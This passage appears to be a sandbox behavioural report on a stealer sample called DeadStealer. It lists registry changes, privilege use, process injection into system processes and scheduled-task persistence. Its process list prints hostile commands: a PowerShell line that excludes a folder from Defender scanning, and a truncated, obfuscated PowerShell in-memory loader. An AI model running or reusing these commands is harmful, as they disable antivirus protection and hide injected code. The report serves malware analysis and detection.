Set value (str) \REGISTRY\USER\S-1-5-21-1453213197-474736321-1741884505-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Vid = "{137E7700-3573-11CF-AE69-08002B2E1262}" C:\Windows\Explorer.EXE N/A
Set value (data) \REGISTRY\USER\S-1-5-21-1453213197-474736321-1741884505-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\ColInfo = 00000000000000000000000000000000fddfdffd100000000000000000000000040000001800000030f125b7ef471a10a5f102608c9eebac0a0000001001000030f125b7ef471a10a5f102608c9eebac0e0000007800000030f125b7ef471a10a5f102608c9eebac040000007800000030f125b7ef471a10a5f102608c9eebac0c00000050000000 C:\Windows\Explorer.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-1453213197-474736321-1741884505-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByKey:FMTID = "{00000000-0000-0000-0000-000000000000}" C:\Windows\Explorer.EXE N/A

Scheduled Task/Job: Scheduled Task

persistence execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\schtasks.exe N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Windows\Explorer.EXE N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\DeadStealer.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\DeadStealer.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\DeadStealer.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\DeadStealer.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\DeadStealer.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\DeadStealer.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\DeadStealer.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\DeadStealer.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\DeadStealer.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\DeadStealer.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\DeadStealer.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\DeadStealer.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\DeadStealer.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\DeadStealer.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\DeadStealer.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\DeadStealer.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\DeadStealer.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\DeadStealer.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\DeadStealer.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\DeadStealer.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\DeadStealer.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\DeadStealer.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\DeadStealer.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\DeadStealer.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\DeadStealer.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\DeadStealer.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\DeadStealer.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\DeadStealer.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\DeadStealer.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\DeadStealer.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\DeadStealer.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\DeadStealer.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\DeadStealer.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\DeadStealer.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\DeadStealer.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\DeadStealer.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\DeadStealer.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\DeadStealer.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\DeadStealer.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\DeadStealer.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\DeadStealer.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\DeadStealer.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\DeadStealer.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\DeadStealer.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\DeadStealer.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\DeadStealer.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\DeadStealer.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\DeadStealer.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\DeadStealer.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\DeadStealer.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\DeadStealer.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\DeadStealer.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\DeadStealer.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\DeadStealer.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\DeadStealer.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\DeadStealer.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\DeadStealer.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\DeadStealer.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\DeadStealer.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\DeadStealer.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\DeadStealer.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\DeadStealer.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\DeadStealer.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\DeadStealer.exe N/A

Suspicious behavior: GetForegroundWindowSpam

Description Indicator Process Target
N/A N/A C:\Windows\Explorer.EXE N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\DeadStealer.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: 33 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: 34 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: 35 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: 36 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Public\DeadXClient.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\dllhost.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeAssignPrimaryTokenPrivilege N/A c:\windows\system32\svchost.exe N/A
Token: SeIncreaseQuotaPrivilege N/A c:\windows\system32\svchost.exe N/A
Token: SeSecurityPrivilege N/A c:\windows\system32\svchost.exe N/A
Token: SeTakeOwnershipPrivilege N/A c:\windows\system32\svchost.exe N/A
Token: SeLoadDriverPrivilege N/A c:\windows\system32\svchost.exe N/A
Token: SeSystemtimePrivilege N/A c:\windows\system32\svchost.exe N/A
Token: SeBackupPrivilege N/A c:\windows\system32\svchost.exe N/A
Token: SeRestorePrivilege N/A c:\windows\system32\svchost.exe N/A
Token: SeShutdownPrivilege N/A c:\windows\system32\svchost.exe N/A
Token: SeSystemEnvironmentPrivilege N/A c:\windows\system32\svchost.exe N/A
Token: SeUndockPrivilege N/A c:\windows\system32\svchost.exe N/A
Token: SeManageVolumePrivilege N/A c:\windows\system32\svchost.exe N/A
Token: SeAssignPrimaryTokenPrivilege N/A c:\windows\system32\svchost.exe N/A
Token: SeIncreaseQuotaPrivilege N/A c:\windows\system32\svchost.exe N/A
Token: SeSecurityPrivilege N/A c:\windows\system32\svchost.exe N/A
Token: SeTakeOwnershipPrivilege N/A c:\windows\system32\svchost.exe N/A
Token: SeLoadDriverPrivilege N/A c:\windows\system32\svchost.exe N/A
Token: SeSystemtimePrivilege N/A c:\windows\system32\svchost.exe N/A
Token: SeBackupPrivilege N/A c:\windows\system32\svchost.exe N/A
Token: SeRestorePrivilege N/A c:\windows\system32\svchost.exe N/A
Token: SeShutdownPrivilege N/A c:\windows\system32\svchost.exe N/A
Token: SeSystemEnvironmentPrivilege N/A c:\windows\system32\svchost.exe N/A
Token: SeUndockPrivilege N/A c:\windows\system32\svchost.exe N/A
Token: SeManageVolumePrivilege N/A c:\windows\system32\svchost.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\wbem\wmiprvse.exe N/A
Token: SeAuditPrivilege N/A c:\windows\system32\svchost.exe N/A
Token: SeAuditPrivilege N/A c:\windows\system32\svchost.exe N/A
Token: SeAuditPrivilege N/A c:\windows\system32\svchost.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeShutdownPrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeAssignPrimaryTokenPrivilege N/A c:\windows\system32\svchost.exe N/A
Token: SeIncreaseQuotaPrivilege N/A c:\windows\system32\svchost.exe N/A
Token: SeSecurityPrivilege N/A c:\windows\system32\svchost.exe N/A

Suspicious use of FindShellTrayWindow

Description Indicator Process Target
N/A N/A C:\Windows\system32\dwm.exe N/A
N/A N/A C:\Windows\system32\dwm.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 4476 wrote to memory of 2188 N/A C:\Users\Admin\AppData\Local\Temp\DeadStealer.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4476 wrote to memory of 2188 N/A C:\Users\Admin\AppData\Local\Temp\DeadStealer.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4476 wrote to memory of 2028 N/A C:\Users\Admin\AppData\Local\Temp\DeadStealer.exe C:\Users\Public\Documents\svchost.exe
PID 4476 wrote to memory of 2028 N/A C:\Users\Admin\AppData\Local\Temp\DeadStealer.exe C:\Users\Public\Documents\svchost.exe
PID 2028 wrote to memory of 3192 N/A C:\Users\Public\Documents\svchost.exe C:\Users\Public\DeadCodeRootKit.exe
PID 2028 wrote to memory of 3192 N/A C:\Users\Public\Documents\svchost.exe C:\Users\Public\DeadCodeRootKit.exe
PID 2028 wrote to memory of 3192 N/A C:\Users\Public\Documents\svchost.exe C:\Users\Public\DeadCodeRootKit.exe
PID 2028 wrote to memory of 2988 N/A C:\Users\Public\Documents\svchost.exe C:\Users\Public\DeadXClient.exe
PID 2028 wrote to memory of 2988 N/A C:\Users\Public\Documents\svchost.exe C:\Users\Public\DeadXClient.exe
PID 2988 wrote to memory of 2220 N/A C:\Users\Public\DeadXClient.exe C:\Windows\System32\schtasks.exe
PID 2988 wrote to memory of 2220 N/A C:\Users\Public\DeadXClient.exe C:\Windows\System32\schtasks.exe
PID 812 wrote to memory of 3772 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE C:\Windows\System32\dllhost.exe
PID 812 wrote to memory of 3772 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE C:\Windows\System32\dllhost.exe
PID 812 wrote to memory of 3772 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE C:\Windows\System32\dllhost.exe
PID 812 wrote to memory of 3772 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE C:\Windows\System32\dllhost.exe
PID 812 wrote to memory of 3772 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE C:\Windows\System32\dllhost.exe
PID 812 wrote to memory of 3772 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE C:\Windows\System32\dllhost.exe
PID 812 wrote to memory of 3772 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE C:\Windows\System32\dllhost.exe
PID 812 wrote to memory of 3772 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE C:\Windows\System32\dllhost.exe
PID 3772 wrote to memory of 600 N/A C:\Windows\System32\dllhost.exe C:\Windows\system32\winlogon.exe
PID 3772 wrote to memory of 652 N/A C:\Windows\System32\dllhost.exe C:\Windows\system32\lsass.exe
PID 3772 wrote to memory of 748 N/A C:\Windows\System32\dllhost.exe c:\windows\system32\svchost.exe
PID 3772 wrote to memory of 916 N/A C:\Windows\System32\dllhost.exe c:\windows\system32\svchost.exe
PID 3772 wrote to memory of 1012 N/A C:\Windows\System32\dllhost.exe C:\Windows\system32\dwm.exe
PID 3772 wrote to memory of 328 N/A C:\Windows\System32\dllhost.exe c:\windows\system32\svchost.exe
PID 3772 wrote to memory of 408 N/A C:\Windows\System32\dllhost.exe c:\windows\system32\svchost.exe
PID 3772 wrote to memory of 596 N/A C:\Windows\System32\dllhost.exe c:\windows\system32\svchost.exe
PID 3772 wrote to memory of 1096 N/A C:\Windows\System32\dllhost.exe c:\windows\system32\svchost.exe
PID 3772 wrote to memory of 1104 N/A C:\Windows\System32\dllhost.exe c:\windows\system32\svchost.exe
PID 3772 wrote to memory of 1204 N/A C:\Windows\System32\dllhost.exe c:\windows\system32\svchost.exe
PID 3772 wrote to memory of 1216 N/A C:\Windows\System32\dllhost.exe c:\windows\system32\svchost.exe
PID 3772 wrote to memory of 1224 N/A C:\Windows\System32\dllhost.exe c:\windows\system32\svchost.exe
PID 3772 wrote to memory of 1232 N/A C:\Windows\System32\dllhost.exe c:\windows\system32\svchost.exe
PID 3772 wrote to memory of 1400 N/A C:\Windows\System32\dllhost.exe c:\windows\system32\svchost.exe
PID 3772 wrote to memory of 1468 N/A C:\Windows\System32\dllhost.exe c:\windows\system32\svchost.exe
PID 3772 wrote to memory of 1480 N/A C:\Windows\System32\dllhost.exe c:\windows\system32\svchost.exe
PID 3772 wrote to memory of 1532 N/A C:\Windows\System32\dllhost.exe c:\windows\system32\svchost.exe
PID 3772 wrote to memory of 1588 N/A C:\Windows\System32\dllhost.exe c:\windows\system32\svchost.exe
PID 3772 wrote to memory of 1664 N/A C:\Windows\System32\dllhost.exe c:\windows\system32\svchost.exe
PID 3772 wrote to memory of 1680 N/A C:\Windows\System32\dllhost.exe C:\Windows\System32\svchost.exe
PID 3772 wrote to memory of 1736 N/A C:\Windows\System32\dllhost.exe c:\windows\system32\svchost.exe
PID 3772 wrote to memory of 1772 N/A C:\Windows\System32\dllhost.exe C:\Windows\System32\svchost.exe
PID 3772 wrote to memory of 1784 N/A C:\Windows\System32\dllhost.exe C:\Windows\system32\svchost.exe
PID 3772 wrote to memory of 1864 N/A C:\Windows\System32\dllhost.exe c:\windows\system32\svchost.exe
PID 3772 wrote to memory of 1872 N/A C:\Windows\System32\dllhost.exe c:\windows\system32\svchost.exe
PID 3772 wrote to memory of 1984 N/A C:\Windows\System32\dllhost.exe C:\Windows\System32\spoolsv.exe
PID 3772 wrote to memory of 2020 N/A C:\Windows\System32\dllhost.exe c:\windows\system32\svchost.exe
PID 3772 wrote to memory of 2284 N/A C:\Windows\System32\dllhost.exe c:\windows\system32\svchost.exe
PID 3772 wrote to memory of 2340 N/A C:\Windows\System32\dllhost.exe c:\windows\system32\svchost.exe
PID 3772 wrote to memory of 2348 N/A C:\Windows\System32\dllhost.exe c:\windows\system32\svchost.exe
PID 3772 wrote to memory of 2376 N/A C:\Windows\System32\dllhost.exe c:\windows\system32\svchost.exe
PID 3772 wrote to memory of 2396 N/A C:\Windows\System32\dllhost.exe C:\Windows\sysmon.exe
PID 3772 wrote to memory of 2408 N/A C:\Windows\System32\dllhost.exe c:\windows\system32\svchost.exe
PID 3772 wrote to memory of 2416 N/A C:\Windows\System32\dllhost.exe c:\windows\system32\svchost.exe
PID 3772 wrote to memory of 2432 N/A C:\Windows\System32\dllhost.exe c:\windows\system32\svchost.exe
PID 3772 wrote to memory of 2576 N/A C:\Windows\System32\dllhost.exe c:\windows\system32\svchost.exe
PID 3772 wrote to memory of 2880 N/A C:\Windows\System32\dllhost.exe c:\windows\system32\svchost.exe
PID 3772 wrote to memory of 2920 N/A C:\Windows\System32\dllhost.exe c:\windows\system32\sihost.exe
PID 3772 wrote to memory of 2940 N/A C:\Windows\System32\dllhost.exe c:\windows\system32\svchost.exe
PID 3772 wrote to memory of 3056 N/A C:\Windows\System32\dllhost.exe c:\windows\system32\taskhostw.exe
PID 3772 wrote to memory of 3008 N/A C:\Windows\System32\dllhost.exe c:\windows\system32\svchost.exe
PID 3772 wrote to memory of 3108 N/A C:\Windows\System32\dllhost.exe C:\Windows\system32\wbem\unsecapp.exe
PID 3772 wrote to memory of 3340 N/A C:\Windows\System32\dllhost.exe C:\Windows\Explorer.EXE
PID 3772 wrote to memory of 3864 N/A C:\Windows\System32\dllhost.exe C:\Windows\System32\RuntimeBroker.exe

Uses Task Scheduler COM API

persistence

Processes

C:\Windows\system32\winlogon.exe

winlogon.exe

C:\Windows\system32\lsass.exe

C:\Windows\system32\lsass.exe

c:\windows\system32\svchost.exe

c:\windows\system32\svchost.exe -k dcomlaunch -s PlugPlay

c:\windows\system32\svchost.exe

c:\windows\system32\svchost.exe -k dcomlaunch -s LSM

C:\Windows\system32\dwm.exe

"dwm.exe"

c:\windows\system32\svchost.exe

c:\windows\system32\svchost.exe -k netsvcs -s gpsvc

c:\windows\system32\svchost.exe

c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s NcbService

c:\windows\system32\svchost.exe

c:\windows\system32\svchost.exe -k localservicenetworkrestricted -s lmhosts

c:\windows\system32\svchost.exe

c:\windows\system32\svchost.exe -k localservicenetworkrestricted -s EventLog

c:\windows\system32\svchost.exe

c:\windows\system32\svchost.exe -k netsvcs -s Schedule

c:\windows\system32\svchost.exe

c:\windows\system32\svchost.exe -k localservice -s nsi

c:\windows\system32\svchost.exe

c:\windows\system32\svchost.exe -k netsvcs -s ProfSvc

c:\windows\system32\svchost.exe

c:\windows\system32\svchost.exe -k netsvcs -s Themes

c:\windows\system32\svchost.exe

c:\windows\system32\svchost.exe -k localservice -s EventSystem

c:\windows\system32\svchost.exe

c:\windows\system32\svchost.exe -k localservicenetworkrestricted -s Dhcp

c:\windows\system32\svchost.exe

c:\windows\system32\svchost.exe -k netsvcs -s SENS

c:\windows\system32\svchost.exe

c:\windows\system32\svchost.exe -k netsvcs -s UserManager

c:\windows\system32\svchost.exe

c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s AudioEndpointBuilder

c:\windows\system32\svchost.exe

c:\windows\system32\svchost.exe -k networkservice -s NlaSvc

c:\windows\system32\svchost.exe

c:\windows\system32\svchost.exe -k networkservice -s Dnscache

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted

c:\windows\system32\svchost.exe

c:\windows\system32\svchost.exe -k localservice -s netprofm

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted

c:\windows\system32\svchost.exe

c:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection

c:\windows\system32\svchost.exe

c:\windows\system32\svchost.exe -k appmodel -s StateRepository

C:\Windows\System32\spoolsv.exe

C:\Windows\System32\spoolsv.exe

c:\windows\system32\svchost.exe

c:\windows\system32\svchost.exe -k networkservice -s LanmanWorkstation

c:\windows\system32\svchost.exe

c:\windows\system32\svchost.exe -k appmodel -s tiledatamodelsvc

c:\windows\system32\svchost.exe

c:\windows\system32\svchost.exe -k networkservice -s CryptSvc

c:\windows\system32\svchost.exe

c:\windows\system32\svchost.exe -k netsvcs -s IKEEXT

c:\windows\system32\svchost.exe

c:\windows\system32\svchost.exe -k netsvcs -s LanmanServer

C:\Windows\sysmon.exe

C:\Windows\sysmon.exe

c:\windows\system32\svchost.exe

c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s TrkWks

c:\windows\system32\svchost.exe

c:\windows\system32\svchost.exe -k netsvcs -s Winmgmt

c:\windows\system32\svchost.exe

c:\windows\system32\svchost.exe -k netsvcs -s WpnService

c:\windows\system32\svchost.exe

c:\windows\system32\svchost.exe -k networkservicenetworkrestricted -s PolicyAgent

c:\windows\system32\svchost.exe

c:\windows\system32\svchost.exe -k netsvcs -s Browser

c:\windows\system32\sihost.exe

sihost.exe

c:\windows\system32\svchost.exe

c:\windows\system32\svchost.exe -k unistacksvcgroup -s CDPUserSvc

c:\windows\system32\taskhostw.exe

taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}

c:\windows\system32\svchost.exe

c:\windows\system32\svchost.exe -k netsvcs -s TokenBroker

C:\Windows\system32\wbem\unsecapp.exe

C:\Windows\system32\wbem\unsecapp.exe -Embedding

C:\Windows\Explorer.EXE

C:\Windows\Explorer.EXE

C:\Windows\System32\RuntimeBroker.exe

C:\Windows\System32\RuntimeBroker.exe -Embedding

C:\Windows\system32\DllHost.exe

C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}

c:\windows\system32\svchost.exe

c:\windows\system32\svchost.exe -k localservice -s CDPSvc

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalService -s WinHttpAutoProxySvc

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe

"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service

c:\windows\system32\svchost.exe

c:\windows\system32\svchost.exe -k netsvcs -s wlidsvc

C:\Windows\system32\DllHost.exe

C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}

C:\Windows\system32\ApplicationFrameHost.exe

C:\Windows\system32\ApplicationFrameHost.exe -Embedding

C:\Windows\System32\InstallAgent.exe

C:\Windows\System32\InstallAgent.exe -Embedding

C:\Windows\system32\DllHost.exe

C:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}

C:\Users\Admin\AppData\Local\Temp\DeadStealer.exe

"C:\Users\Admin\AppData\Local\Temp\DeadStealer.exe"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Public\Documents'

C:\Windows\system32\wbem\wmiprvse.exe

C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding

C:\Users\Public\Documents\svchost.exe

"C:\Users\Public\Documents\svchost.exe"

C:\Users\Public\DeadCodeRootKit.exe

"C:\Users\Public\DeadCodeRootKit.exe"

C:\Users\Public\DeadXClient.exe

"C:\Users\Public\DeadXClient.exe"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:mJxZtCVPQAPK{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$HucXNVWNvAYKBw,[Parameter(Position=1)][Type]$vpniheRIvP)$wRzLwZowNGb=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+'f'+'l'+''+[Char](101)+''+[Char](99)+''+'t'+'e'+[Char](100)+''+'D'+'e'+[Char](108)+''+[Char](101)+''+'g'+'ate')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('I'+'n'+''+[Char](77)+'e'+'m'+''+[Char](111)+'r'+[Char](121)+''+[Char](77)+''+[Char](111)+''+'d'+''+[Char](117)+''+[Char](108)+''+'e'+'',$False).DefineType('M'+'y'+''+[Char](68)+''+[Char](101)+''+[Char](108)+''+'e'+''+[Char](103)+''+[Char](97)+''+[Char](116)+'e'+[Char](84)+''+[Char](121)+''+'p'+'e',''+'C'+''+[Char](108)+''+[Char](97)+'s'+[Char](115)+''+[Char](44)+''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+'c'+[Char](44)+''+[Char](83)+''+[Char](101)+''+[Char](97)+''+'l'+''+[Char](101)+''+[Char](100)+''+','+''+[Char](65)+''+'n'+''+'s'+''+[Char](105)+'Cl'+'a'+''+[Char](115)+''+[Char](115)+''+[Char](44)+''+[Char](65)+''+'u'+''+'t'+''+[Char](111)+'C'+[Char](108)+'a'+[Char](115)+''+'s'+'',[MulticastDelegate]);$wRzLwZowNGb.DefineConstructor(''+'R'+''+'T'+'S'+'p'+'e'+'c'+''+'i'+''+[Char](97)+'l'+'N'+''+[Char](97)+''+[Char](109)+''+[Char](101)+''+[Char](44)+''+'H'+''+'i'+''+'d'+''+[Char](101)+'B'+[Char](121)+''+[Char](83)+''+[Char](105)+'g,'+[Char](80)+''+[Char](117)+''+'b'+''+[Char](108)+''+[Char](105)+''+'c'+'',[Reflection.CallingConventions]::Standard,$HucXNVWNvAYKBw).SetImplementationFlags(''+[Char](82)+''+'u'+''+[Char](110)+''+[Char](116)+'i'+'m'+''+[Char](101)+''+[Char](44)+''+'M'+'a'+[Char](110)+''+[Char](97)+'g'+[Char](101)+''+[Char](100)+'');$wRzLwZowNGb.DefineMethod(''+'I'+''+'n'+'v'+'o'+''+[Char](107)+''+[Char](101)+'','P'+'u'+''+[Char](98)+''+[Char](108)+'ic'+[Char](44)+''+[Char](72)+''+[Char](105)+''+[Char](100)+''+[Char](101)+''+[Char](66)+'y'+'S'+''+[Char](105)+''+'g'+''+','+''+[Char](78)+''+[Char](101)+''+[Char](119)+''+[Char](83)+'l'+[Char](111)+''+'t'+''+','+''+[Char](86)+''+[Char](105)+''+[Char](114)+'t'+[Char](117)+'a'+[Char](108)+'',$vpniheRIvP,$HucXNVWNvAYKBw).SetImplementationFlags(''+'R'+''+'u'+''+[Char](110)+''+[Char](116)+''+[Char](105)+'m'+'e'+','+'M'+''+[Char](97)+''+[Char](110)+''+'a'+'g'+[Char](101)+''+[Char](100)+'');Write-Output $wRzLwZowNGb.CreateType();}$cjaMnwRjKvAjS=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And 